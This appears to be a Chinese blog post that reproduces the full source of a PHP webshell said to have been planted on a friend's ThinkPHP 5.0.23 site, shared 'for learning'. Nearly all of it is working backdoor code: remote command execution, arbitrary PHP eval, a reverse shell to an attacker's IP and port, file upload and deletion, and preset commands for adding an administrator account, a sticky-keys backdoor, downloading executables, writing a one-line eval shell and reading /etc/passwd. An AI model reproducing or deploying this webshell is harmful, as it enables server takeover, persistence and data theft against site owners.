前言

最近朋友网站老是被挂马，原因是用的ThinkPHP5.0.23搭建的网站，该版本框架有个远程命令执行漏洞，然后被拉取了一个后门程序，找到之后发现这程序真是吊炸天了，就分享出来给大家学习之用，请勿用于犯罪行为或商业用途…

效果图

后门程序

  1. <?php
  2. error_reporting(E_ERROR);
  3. @ini_set('display_errors','Off');
  4. @ini_set('max_execution_time',20000);
  5. @ini_set('memory_limit','256M');
  6. header("content-Type: text/html; charset=utf-8");
  7. $password = "5bb80217256f6be095f73fdae53a04ab"; //V
  8. define('B','Denzel-你的英雄'); // 标题
  10. function strdir($str) { return str_replace(array('\\','//','%27','%22'),array('/','/','\'','"'),chop($str)); }
  11. function chkgpc($array) { foreach($array as $key => $var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; }
  12. $myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
  13. $myfile = strpos($myfile,'eval()') ? array_shift(explode('(',$myfile)) : $myfile;
  14. define('THISDIR',strdir(dirname($myfile).'/'));
  15. define('ROOTDIR',strdir(strtr($myfile,array(strdir($_SERVER['PHP_SELF']) => '')).'/'));
  16. define('EXISTS_PHPINFO',getinfo() ? true : false);
  17. if(get_magic_quotes_gpc()) { $_POST = chkgpc($_POST); }
  18. if(function_exists('mysql_close')) { $issql = 'MySql'; }
  19. if(function_exists('mssql_close')) $issql .= ' - MsSql';
  20. if(function_exists('oci_close')) $issql .= ' - Oracle';
  21. if(function_exists('sybase_close')) $issql .= ' - SyBase';
  22. if(function_exists('pg_close')) $issql .= ' - PostgreSql';
  23. $win = substr(PHP_OS,0,3) == 'WIN' ? true : false;
  24. $msg = VERSION;
  26. function filew($filename,$filedata,$filemode) {
  27.     if((!is_writable($filename)) && file_exists($filename)) { chmod($filename,0666); }
  28.     $handle = fopen($filename,$filemode);
  29.     $key = fputs($handle,$filedata);
  30.     fclose($handle);
  31.     return $key;
  32. }
  34. function filer($filename) {
  35.     $handle = fopen($filename,'r');
  36.     $filedata = fread($handle,filesize($filename));
  37.     fclose($handle);
  38.     return $filedata;
  39. }
  41. function fileu($filenamea,$filenameb) {
  42.     $key = move_uploaded_file($filenamea,$filenameb) ? true : false;
  43.     if(!$key) { $key = copy($filenamea,$filenameb) ? true : false; }
  44.     return $key;
  45. }
  47. function filed($filename) {
  48.     if(!file_exists($filename)) return false;
  49.     ob_end_clean();
  50.     $name = basename($filename);
  51.     $array = explode('.',$name);
  52.     header('Content-type: application/x-'.array_pop($array));
  53.     header('Content-Disposition: attachment; filename='.$name);
  54.     header('Content-Length: '.filesize($filename));
  55.     @readfile($filename);
  56.     exit;
  57. }
  59. function showdir($dir) {
  60.     $dir = strdir($dir.'/');
  61.     if(($handle = @opendir($dir)) == NULL) return false;
  62.     $array = array();
  63.     while(false !== ($name = readdir($handle))) {
  64.         if($name == '.' || $name == '..') continue;
  65.         $path = $dir.$name;
  66.         $name = strtr($name,array('\'' => '%27','"' => '%22'));
  67.         if(is_dir($path)) { $array['dir'][$path] = $name; }
  68.         else { $array['file'][$path] = $name; }
  69.     }
  70.     closedir($handle);
  71.     return $array;
  72. }
  74. function deltree($dir) {
  75.     $handle = @opendir($dir);
  76.     while(false !== ($name = @readdir($handle))) {
  77.         if($name == '.' || $name == '..') continue;
  78.         $path = $dir.$name;
  79.         @chmod($path,0777);
  80.         if(is_dir($path)) { deltree($path.'/'); }
  81.         else { @unlink($path); }
  82.     }
  83.     @closedir($handle);
  84.     return @rmdir($dir);
  85. }
  87. function size($bytes) {
  88.     if($bytes < 1024) return $bytes.' B';
  89.     $array = array('B','K','M','G','T');
  90.     $floor = floor(log($bytes) / log(1024));
  91.     return sprintf('%.2f '.$array[$floor],($bytes/pow(1024,floor($floor))));
  92. }
  94. function find($array,$string) {
  95.     foreach($array as $key) { if(stristr($string,$key)) return true; }
  96.     return false;
  97. }
  99. function scanfile($dir,$key,$inc,$fit,$tye,$chr,$ran,$now) {
  100.     if(($handle = @opendir($dir)) == NULL) return false;
  101.     while(false !== ($name = readdir($handle))) {
  102.         if($name == '.' || $name == '..') continue;
  103.         $path = $dir.$name;
  104.         if(is_dir($path)) { if($fit && in_array($name,$fit)) continue; if($ran == 0 && is_readable($path)) scanfile($path.'/',$key,$inc,$fit,$tye,$chr,$ran,$now); }
  105.         else {
  106.             if($inc && (!find($inc,$name))) continue;
  107.             $code = $tye ? filer($path) : $name;
  108.             $find = $chr ? stristr($code,$key) : (strpos(size(filesize($path)),'M') ? false : (strpos($code,$key) > -1));
  109.             if($find) {
  110.                 $file = strtr($path,array($now => '','\'' => '%27','"' => '%22'));
  111.                 echo '<a href="javascript:go(\'editor\',\''.$file.'\');">编辑</a> '.$path.'<br>';
  112.                 flush(); ob_flush();
  113.             }
  114.             unset($code);
  115.         }
  116.     }
  117.     closedir($handle);
  118.     return true;
  119. }
  121. function antivirus($dir,$exs,$matches,$now) {
  122.     if(($handle = @opendir($dir)) == NULL) return false;
  123.     while(false !== ($name = readdir($handle))) {
  124.         if($name == '.' || $name == '..') continue;
  125.         $path = $dir.$name;
  126.         if(is_dir($path)) { if(is_readable($path)) antivirus($path.'/',$exs,$matches,$now); }
  127.         else {
  128.             $iskill = NULL;
  129.             foreach($exs as $key => $ex) { if(find(explode('|',$ex),$name)) { $iskill = $key; break; } }
  130.             if(strpos(size(filesize($path)),'M')) continue;
  131.             if($iskill) {
  132.                 $code = filer($path);
  133.                 foreach($matches[$iskill] as $matche) {
  134.                     $array = array();
  135.                     preg_match($matche,$code,$array);
  136.                     if(strpos($array[0],'$this->') || strpos($array[0],'[$vars[')) continue;
  137.                     $len = strlen($array[0]);
  138.                     if($len > 6 && $len < 200) {
  139.                         $file = strtr($path,array($now => '','\'' => '%27','"' => '%22'));
  140.                         echo '特征 <input type="text" value="'.htmlspecialchars($array[0]).'"> <a href="javascript:go(\'editor\',\''.$file.'\');">编辑</a> '.$path.'<br>';
  141.                         flush(); ob_flush(); break;
  142.                     }
  143.                 }
  144.                 unset($code,$array);
  145.             }
  146.         }
  147.     }
  148.     closedir($handle);
  149.     return true;
  150. }
  152. function command($cmd,$cwd,$com = false) {
  153.     $iswin = substr(PHP_OS,0,3) == 'WIN' ? true : false; $res = $msg = '';
  154.     if($cwd == 'com' || $com) {
  155.         if($iswin && class_exists('COM')) {
  156.             $wscript = new COM('Wscript.Shell');
  157.             $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd);
  158.             $stdout = $exec->StdOut();
  159.             $res = $stdout->ReadAll();
  160.             $msg = 'Wscript.Shell';
  161.         }
  162.     } else {
  163.         chdir($cwd); $cwd = getcwd();
  164.         if(function_exists('exec')) { @exec ($cmd,$res); $res = join("\n",$res); $msg = 'exec'; }
  165.         elseif(function_exists('shell_exec')) { $res = @shell_exec ($cmd); $msg = 'shell_exec'; }
  166.         elseif(function_exists('system')) { ob_start(); @system ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'system'; }
  167.         elseif(function_exists('passthru')) { ob_start(); @passthru ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'passthru'; }
  168.         elseif(function_exists('popen')) { $fp = @popen ($cmd,'r'); if($fp) { while(!feof($fp)) { $res .= fread($fp,1024); } } @pclose($fp); $msg = 'popen'; }
  169.         elseif(function_exists('proc_open')) {
  170.             $env = $iswin ? array('path' => 'c:\\windows\\system32') : array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
  171.             $des = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
  172.             $process = @proc_open ($cmd,$des,$pipes,$cwd,$env);
  173.             if(is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $res .= stream_get_contents($pipes[1]); fclose($pipes[1]); $res .= stream_get_contents($pipes[2]); fclose($pipes[2]); }
  174.             @proc_close($process);
  175.             $msg = 'proc_open';
  176.         }
  177.     }
  178.     $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用'.$msg.'执行成功</h2>';
  179.     return array('res' => $res,'msg' => $msg);
  180. }
  182. function backshell($ip,$port,$dir,$type) {
  183.     $key = false;
  184.     $c_bin = '';
  185.     switch($type) {
  186.         case "pl" : 
  187.         $shell = '';
  188.         $file = strdir($dir.'/t00ls.pl');
  189.         $key = filew($file,base64_decode($shell),'w');
  190.         if($key) { @chmod($file,0777); command('/usr/bin/perl '.$file.' '.$ip.' '.$port,$dir); }
  191.         break;
  192.         case "py" : 
  193.         $shell = '';
  194.         $file = strdir($dir.'/t00ls.py');
  195.         $key = filew($file,base64_decode($shell),'w');
  196.         if($key) { @chmod($file,0777); command('/usr/bin/python '.$file.' '.$ip.' '.$port,$dir); }
  197.         break;
  198.         case "c" : 
  199.         $file = strdir($dir.'/t00ls');
  200.         $key = filew($file,base64_decode($c_bin),'wb');
  201.         if($key) { @chmod($file,0777); command($file.' '.$ip.' '.$port,$dir); }
  202.         break;
  203.         case "php" : case "phpwin" : 
  204.         if(function_exists('fsockopen')) {
  205.             $sock = @fsockopen ($ip,$port);
  206.             if($sock) {
  207.                 $key = true;
  208.                 $com = $type == 'phpwin' ? true : false;
  209.                 $user = get_current_user();
  210.                 $dir = strdir(getcwd());
  211.                 fputs($sock,php_uname()."\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");
  212.                 while($cmd = fread($sock,1024)) {
  213.                     if(substr($cmd,0,3) == 'cd ') { $dir = trim(substr($cmd,3,-1)); chdir(strdir($dir)); $dir = strdir(getcwd()); }
  214.                     elseif (trim(strtolower($cmd)) == 'exit') { break; }
  215.                     else { $res = command($cmd,$dir,$com); fputs($sock,$res['res']); }
  216.                     fputs($sock,'['.$user.':'.$dir.']# ');
  217.                 }
  218.             }
  219.             @fclose ($sock);
  220.         }
  221.         break;
  222.         case "pcntl" : 
  223.         $file = strdir($dir.'/t00ls');
  224.         $key = filew($file,base64_decode($c_bin),'wb');
  225.         if($key) { @chmod($file,0777); if(function_exists('pcntl_exec')) { @pcntl_exec($file,array($ip,$port)); } }
  226.         break;
  227.     }
  228.     if(!$key) { $msg = '<h1>临时目录不可写</h1>'; } else { @unlink($file); $msg = '<h2>CLOSE</h2>'; }
  229.     return $msg;
  230. }
  232. function getinfo() {
  234. }
  235. function links(){
  236.     $hostr = $_SERVER["HTTP_HOST"];
  237.     $arr = file_get_contents("http://mytool.chinaz.com/baidusort.aspx?host=".$hostr);
  238.     $arr= iconv('UTF-8','GB2312' , $arr);
  239.     preg_match_all("/<div class=\"siteinfo\">百度权重：<font color=\"blue\">[1-9]<\/font>/",$arr,$s);
  240.     $c=$s[0][0];
  241.     $c=str_replace("<div class=\"siteinfo\">百度权重：<font color=\"blue\">","",$c);
  242.     $c=str_replace("</font>","",$c);
  243.     return $c;
  244. }
  247. function subeval() {
  248.     if(isset($_POST['getpwd'])) { echo '<input type="hidden" name="getpwd" value="'.$_POST['getpwd'].'">'; }
  249.     if(isset($_POST['pass'])) { echo '<input type="hidden" name="pass" value="'.$_POST['pass'].'">'; }
  250.     if(isset($_POST[$_POST['pass']])) { echo '<input type="hidden" name="'.$_POST['pass'].'" value="'.$_POST[$_POST['pass']].'">'; }
  251.     if(isset($_POST['check'])) { echo '<input type="hidden" name="check" value="'.$_POST['check'].'">'; }
  252.     return true;
  253. }
  255. if(isset($_POST['go'])) {
  256.     if($_POST['go'] == 'down') {
  257.         $downfile = $fileb = strdir($_POST['godir'].'/'.$_POST['govar']);
  258.         if(!filed($downfile)) { $msg = '<h1>下载文件不存在</h1>'; }
  259.     }
  260. }
  262. ?>
  263. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  264. <html>
  265. <head>
  266. <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
  267. <style type="text/css">
  268. * {margin:0px;padding:0px;}
  269. body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Microsoft YaHei,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}
  270. a{color:#000000;text-decoration:none;vertical-align:middle;}
  271. a:hover{color:#FF0000;text-decoration:underline;}
  272. p {padding:1px;line-height:1.6em;}
  273. h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}
  274. h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}
  275. form {display:inline;}
  276. input,select { vertical-align:middle; }
  277. input[type=text], textarea {padding:1px;font-family:Microsoft YaHei,sans-serif;}
  278. input[type=submit], input[type=button] {height:21px;}
  279. .tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}
  280. .tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}
  281. .tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}
  282. .main {width:963px;margin:0 auto;padding:10px;}
  283. .outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}
  284. .toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}
  285. .footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}
  286. .msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}
  287. .actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}
  288. .tables {width:100%;}
  289. .tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}
  290. .tables td {background:#F9F6F4;height:19px;padding-left:2px;}
  291. </style>
  292. <script type="text/javascript">
  293. function $(ID) { return document.getElementById(ID); }
  294. function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }
  295. function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }
  296. function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }
  297. function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } 
  298. function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } 
  299. function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }
  300. function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }
  301. function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }
  302. </script>
  303. <title><?php echo VERSION.' - 【'.date('Y-m-d H:i:s 星期N',time()).'】';?></title>
  304. </head>
  305. <body>
  306. <div class="main">
  307.     <div class="outl">
  308.     <div class="toptag"><?php echo ($_SERVER['SERVER_ADDR'] ? $_SERVER['SERVER_ADDR'] : gethostbyname($_SERVER['SERVER_NAME'])).' - '.php_uname().' - whoami('.get_current_user().') - 【uid('.getmyuid().') gid('.getmygid().')】'; if(isset($issql)) echo ' - 【'.$issql.'】';?></div>
  309. <?php 
  310. $menu = array('file' => '文件管理','scan' => '搜索文件','antivirus' => '扫描后门','backshell' => '反弹端口','exec' => '执行命令','phpeval' => '执行PHP','sql' => '执行SQL','info' => '系统信息');
  311. $go = array_key_exists($_POST['go'],$menu) ? $_POST['go'] : 'file';
  312. $nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']).'/') : THISDIR;
  313. echo '<div class="tag">';
  314. foreach($menu as $key => $name) { echo '<a'.($go == $key ? ' class="current"' : '').' href="javascript:go(\''.$key.'\',\''.base64_encode($nowdir).'\');">'.$name.'</a> '; }
  315. echo '</div>';
  317. echo '<form name="gofrm" id="gofrm" method="POST">';
  318. subeval();
  319. echo '<input type="hidden" name="go" id="go" value="">';
  320. echo '<input type="hidden" name="godir" id="godir" value="'.$nowdir.'">';
  321. echo '<input type="hidden" name="govar" id="govar" value="">';
  322. echo '</form>';
  324. switch($_POST['go']) {
  326. case "info" : 
  327. if(EXISTS_PHPINFO) {
  328.     ob_start();
  329.     phpinfo(INFO_GENERAL);
  330.     $out = ob_get_contents();
  331.     ob_end_clean();
  332.     $tmp = array();
  333.     preg_match_all('/\<td class\=\"e\"\>.*?(Command|Configuration)+.*?\<\/td\>\<td class\=\"v\"\>(.*?)\<\/td\>/i',$out,$tmp);
  334.     $config = $tmp[2][0];
  335.     $phpini = $tmp[2][2] ? $tmp[2][1].' --- '.$tmp[2][2] : $tmp[2][1];
  336. }
  337. $infos = array(
  338.     '客户端浏览器信息' => $_SERVER['HTTP_USER_AGENT'],
  339.     '被禁用的函数' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(无)',
  340.     '被禁用的类' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(无)',
  341.     'PHP.ini配置路径' => $phpini ? $phpini : '(无)',
  342.     'PHP运行方式' => php_sapi_name(),
  343.     'PHP版本' => PHP_VERSION,
  344.     'PHP进程PID' => getmypid(),
  345.     '客户端IP' => $_SERVER['REMOTE_ADDR'],
  346.     '客户端文字编码' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],
  347.     'Web服务端口' => $_SERVER['SERVER_PORT'],
  348.     'Web根目录' => $_SERVER['DOCUMENT_ROOT'],
  349.     'Web执行脚本' => $_SERVER['SCRIPT_FILENAME'],
  350.     'Web规范CGI版本' => $_SERVER['GATEWAY_INTERFACE'],
  351.     'Web管理员Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(无)',
  352.     '当前磁盘总大小' => size(disk_total_space('.')),
  353.     '当前磁盘可用空间' => size(disk_free_space('.')),
  354.     'POST最大字数量' => get_cfg_var("post_max_size"),
  355.     '允许最大上传文件' => get_cfg_var("upload_max_filesize"),
  356.     '程序最大使用内存量' => get_cfg_var("memory_limit"),
  357.     '程序最长运行时间' => get_cfg_var("max_execution_time").'秒',
  358.     '是否支持Fsockopen' => function_exists('fsockopen') ? '是' : '否',
  359.     '是否支持Socket' => function_exists('socket_close') ? '是' : '否',
  360.     '是否支持Pcntl' => function_exists('pcntl_exec') ? '是' : '否',
  361.     '是否支持Curl' => function_exists('curl_version') ? '是' : '否',
  362.     '是否支持Zlib' => function_exists('gzclose') ? '是' : '否',
  363.     '是否支持FTP' => function_exists('ftp_login') ? '是' : '否',
  364.     '是否支持XML' => function_exists('xml_set_object') ? '是' : '否',
  365.     '是否支持GD_Library' => function_exists('imageline') ? '是' : '否',
  366.     '是否支持COM组建' => class_exists('COM') ? '是' : '否',
  367.     '是否支持ODBC组建' => function_exists('odbc_close') ? '是' : '否',
  368.     '是否支持IMAP邮件' => function_exists('imap_close') ? '是' : '否',
  369.     '是否运行于安全模式' => get_cfg_var("safemode") ? '是' : '否',
  370.     '是否允许URL打开文件' => get_cfg_var("allow_url_fopen") ? '是' : '否',
  371.     '是否允许动态加载链接库' => get_cfg_var("enable_dl") ? '是' : '否',
  372.     '是否显示错误信息' => get_cfg_var("display_errors") ? '是' : '否',
  373.     '是否自动注册全局变量' => get_cfg_var("register_globals") ? '是' : '否',
  374.     '是否使用反斜线引用字符串' => get_cfg_var("magic_quotes_gpc") ? '是' : '否',
  375.     'PHP编译参数' => $config ? $config : '(无)'
  376. );
  377. echo '<div class="msgbox">'.$msg.'</div>';
  378. echo '<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>';
  379. foreach($infos as $name => $var) { echo '<tr><td>'.$name.'</td><td>'.$var.'</td></tr>'; }
  380. echo '</table>';
  381. break;
  383. case "exec" : 
  384. $cmd = $win ? 'dir' : 'ls -al';
  385. $res = array('res' => '命令回显','msg' => $msg);
  386. $str = isset($_POST['str']) ? $_POST['str'] : 'fun';
  387. if(isset($_POST['execcmd'])) {
  388.     $cmd = $_POST['execcmd'];
  389.     $cwd = $str == 'fun' ? THISDIR : 'com';
  390.     $res = command($cmd,$cwd);
  391. }
  392. echo '<div class="msgbox">'.$res['msg'].'</div>';
  393. echo '<form method="POST">';
  394. subeval();
  395. echo '<input type="hidden" name="go" id="go" value="exec">';
  396. echo '<div class="actall">命令 <input type="text" name="execcmd" id="execcmd" value="'.htmlspecialchars($cmd).'" style="width:398px;"> ';
  397. echo '<select name="str">';
  398. $selects = array('fun' => 'phpfun','com' => 'wscript');
  399. foreach($selects as $var => $name) { echo '<option value="'.$var.'"'.($var == $str ? ' selected' : '').'>'.$name.'</option>'; }
  400. echo '</select> ';
  401. echo '<select onchange="$(\'execcmd\').value=options[selectedIndex].value">';
  402. echo '<option>---命令集合---</option>';
  403. echo '<option value="echo '.htmlspecialchars('"<?php phpinfo();?>"').' >> '.THISDIR.'t00ls.txt">写文件</option>';
  404. echo '<option value="whoami">whoami</option>';
  405. echo '<option value="systeminfo">版本信息(Win)</option>';
  406. echo '<option value="path">path(Win)</option>';
  407. echo '<option value="ipconfig /all">ipconfig(Win)</option>';
  408. echo '<option value="tasklist /svc">tasklist(Win)</option>';
  409. echo '<option value="netstat -an">netstat -an(Win)</option>';
  410. echo '<option value="net user">net user(Win)</option>';
  411. echo '<option value="net config workstation">net config workstation(Win)</option>';
  412. echo '<option value="net config server">net config server(Win)</option>';
  413. echo '<option value="net user $ahsec ahsec /add & net localgroup administrators $ahsec /add">添加用户(Win)</option>';
  414. echo '<option value="query user">query user(Win)</option>';
  415. echo '<option value="copy c:windowsexplorer.exe c:windowssystem32sethc.exe & copy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exe">shift后门(Win)</option>';
  416. echo '<option value="tftp -i ip地址 get server.exe c:\server.exe">Ftp下载(Win)</option>';
  417. echo '<option value="ps -ef">ps(Linux)</option>';
  418. echo '<option value="ifconfig">ifconfig(Linux)</option>';
  419. echo '<option value="cat /etc/syslog.conf">syslog.conf(Linux)</option>';
  420. echo '<option value="cat /etc/my.cnf">my.cnf(Linux)</option>';
  421. echo '<option value="cat /etc/hosts">hosts(Linux)</option>';
  422. echo '<option value="cat /etc/services">services(Linux)</option>';
  423. echo '<option value="id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a">Linux-版本集合</option>';
  424. echo '</select> ';
  425. echo '<input type="submit" style="width:50px;" value="执行">';
  426. echo '</div><div class="actall"><textarea style="width:698px;height:368px;">'.htmlspecialchars($res['res']).'</textarea></div></form>';
  427. break;
  429. case "scan" : 
  430. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  431. $keyword = isset($_POST['keyword']) ? $_POST['keyword'] : '';
  432. $include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py';
  433. $filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js';
  434. echo '<div class="msgbox">'.$msg.'</div>';
  435. echo '<form method="POST">';
  436. subeval();
  437. echo '<input type="hidden" name="go" id="go" value="scan">';
  438. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  439. echo '<tr><td>搜索路径</td><td><input type="text" name="dir" value="'.htmlspecialchars($scandir).'" style="width:500px;"></td></tr>';
  440. echo '<tr><td>搜索内容</td><td><input type="text" name="keyword" value="'.htmlspecialchars($keyword).'" style="width:500px;"> (文件名或文件内容)</td></tr>';
  441. echo '<tr><td>文件后缀</td><td><input type="text" name="include" value="'.htmlspecialchars($include).'" style="width:500px;"> (用"|"分割, 为空则搜索所有文件)</td></tr>';
  442. echo '<tr><td>过滤目录</td><td><input type="text" name="filters" value="'.htmlspecialchars($filters).'" style="width:500px;"> (用"|"分割, 为空则不过滤目录)</td></tr>';
  443. echo '<tr><td>搜索方式</td><td><label><input type="radio" name="type" value="0"'.($_POST['type'] ? '' : ' checked').'>搜索文件名</label> ';
  444. echo '<label><input type="radio" name="type" value="1"'.($_POST['type'] ? ' checked' : '').'>搜索包含文字</label> ';
  445. echo '<label><input type="checkbox" name="char" value="1"'.($_POST['char'] ? ' checked' : '').'>匹配大小写</label></td></tr>';
  446. echo '<tr><td>搜索范围</td><td><label><input type="radio" name="range" value="0"'.($_POST['range'] ? '' : ' checked').'>将搜索应用于该文件夹,子文件夹和文件</label> ';
  447. echo '<label><input type="radio" name="range" value="1"'.($_POST['range'] ? ' checked' : '').'>仅将搜索应用于该文件夹</label></td></tr>';
  448. echo '<tr><td>操作</td><td><input type="submit" style="width:80px;" value="搜索"></td></tr>';
  449. echo '</table></form>';
  450. if($keyword != '') {
  451.     flush(); ob_flush();
  452.     echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  453.     $incs = $include == '' ? false : explode('|',$include);
  454.     $fits = $filters == '' ? false : explode('|',$filters);
  455.     $isread = scanfile(strdir($scandir.'/'),$keyword,$incs,$fits,$_POST['type'],$_POST['char'],$_POST['range'],$nowdir);
  456.     echo '<p>'.($isread ? '<h2>搜索完成</h2>' : '<h1>搜索失败</h1>').'</p></div>';
  457. }
  458. break;
  460. case "antivirus" : 
  461. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  462. $typearr = isset($_POST['dir']) ? $_POST['types'] : array('php' => '.php|.inc|.phtml');
  463. echo '<div class="msgbox">'.$msg.'</div>';
  464. echo '<form method="POST">';
  465. subeval();
  466. echo '<input type="hidden" name="go" id="go" value="antivirus">';
  467. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  468. echo '<tr><td>扫描路径</td><td><input type="text" name="dir" value="'.htmlspecialchars($scandir).'" style="width:398px;"> (采用正则匹配)</td></tr>';
  469. echo '<tr><td>查杀类型</td><td>';
  470. $types = array('php' => '.php|.inc|.phtml','asp+aspx' => '.as|.cs|.cer','jsp' => '.jsp');
  471. foreach($types as $key => $ex) echo '<label title="'.$ex.'"><input type="checkbox" name="types['.$key.']" value="'.$ex.'"'.($typearr[$key] == $ex ? ' checked' : '').'>'.$key.'</label> ';
  472. echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="扫描"></td></tr>';
  473. echo '</table></form>';
  474. if(count($_POST['types']) > 0) {
  475.     $matches = array(
  476.         'php' => array(    ),
  477.         'asp+aspx' => array(    ),
  478.         'jsp' => array()
  479.     );
  480.     flush();
  481.     ob_flush();
  482.     echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  483.     $isread = antivirus(strdir($scandir.'/'),$typearr,$matches,$nowdir);
  484.     echo '<p>'.($isread ? '<h2>扫描完成</h2>' : '<h1>扫描失败</h1>').'</p></div>';
  485. }
  486. break;
  488. case "phpeval" : 
  489. if(isset($_POST['phpcode'])) {
  490.     $phpcode = chop($_POST['phpcode']);
  491.     ob_start();
  492.     if(substr($phpcode,0,2) == '<?' && substr($phpcode,-2) == '?>') { @eval ('?>'.$phpcode.'<?php '); }
  493.     else { @eval ($phpcode); }
  494.     $out = ob_get_contents();
  495.     ob_end_clean();
  496. } else {
  497.     $phpcode = 'phpinfo();';
  498.     $out = '回显窗口';
  499. }
  500. echo base64_decode('');
  501. echo '<div class="msgbox">'.$msg.'</div>';
  502. echo '<form method="POST">';
  503. subeval();
  504. echo '<input type="hidden" name="go" id="go" value="phpeval">';
  505. echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">'.htmlspecialchars($phpcode).'</textarea></p><p>';
  506. echo '<select onchange="$(\'phpcode\').value=options[selectedIndex].value">';
  507. echo '<option>---常用代码---</option>';
  508. echo '<option value="echo readfile(\'C:/web/t00ls.php\');">读取文件</option>';
  509. echo '<option value="$fp=fopen(\'C:/web/t00ls.php\',\'w\');echo fputs($fp,\'<?php eval($_POST[cmd]);?>\')?\'Success!\':\'Fail!\';fclose($fp);">写入文件</option>';
  510. echo '<option value="echo copy(\'C:/web/t00ls1.php\',\'C:/web/t00ls2.php\')?\'Success!\':\'Fail!\';">复制文件</option>';
  511. echo '<option value="echo chmod(\'C:/web/t00ls1.php\',0777)?\'Success!\':\'Fail!\';">修改属性</option>';
  512. echo '<option value="echo file_put_contents(\''.THISDIR.'cmd.exe\', file_get_contents(\'http://www.baidu.com/cmd.exe\'))?\'Success!\':\'Fail!\';">远程下载</option>';
  513. echo '<option value="print_r($_SERVER);">环境变量</option>';
  514. echo '<option value="echo filer(chr(47).chr(101).chr(116).chr(99).chr(47).chr(115).chr(104).chr(46).chr(99).chr(111).chr(110).chr(102)).&quot;\r\n&quot;.filer(chr(47).chr(108).chr(105).chr(98).chr(47).chr(108).chr(105).chr(98).chr(115).chr(104).chr(46).chr(115).chr(111).chr(47).chr(115).chr(104).chr(100).chr(99).chr(102)).&quot;\r\n&quot;.filer(chr(47).chr(101).chr(116).chr(99).chr(47).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100));">find rootkit</option>';
  515. echo '</select> ';
  516. echo '<input type="submit" style="width:80px;" value="执行"></p></div>';
  517. echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">'.htmlspecialchars($out).'</textarea></p><p><input type="button" value="以HTML运行以上代码" onclick="runcode(\'evalcode\')"></p></div>';
  518. break;
  520. case "sql" : 
  521. if((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names']))) {
  522.     $type = $_POST['type'];
  523.     $sqlhost = $_POST['sqlhost'];
  524.     $sqluser = $_POST['sqluser'];
  525.     $sqlpass = $_POST['sqlpass'];
  526.     $sqlname = $_POST['sqlname'];
  527.     $sqlcode = $_POST['sqlcode'];
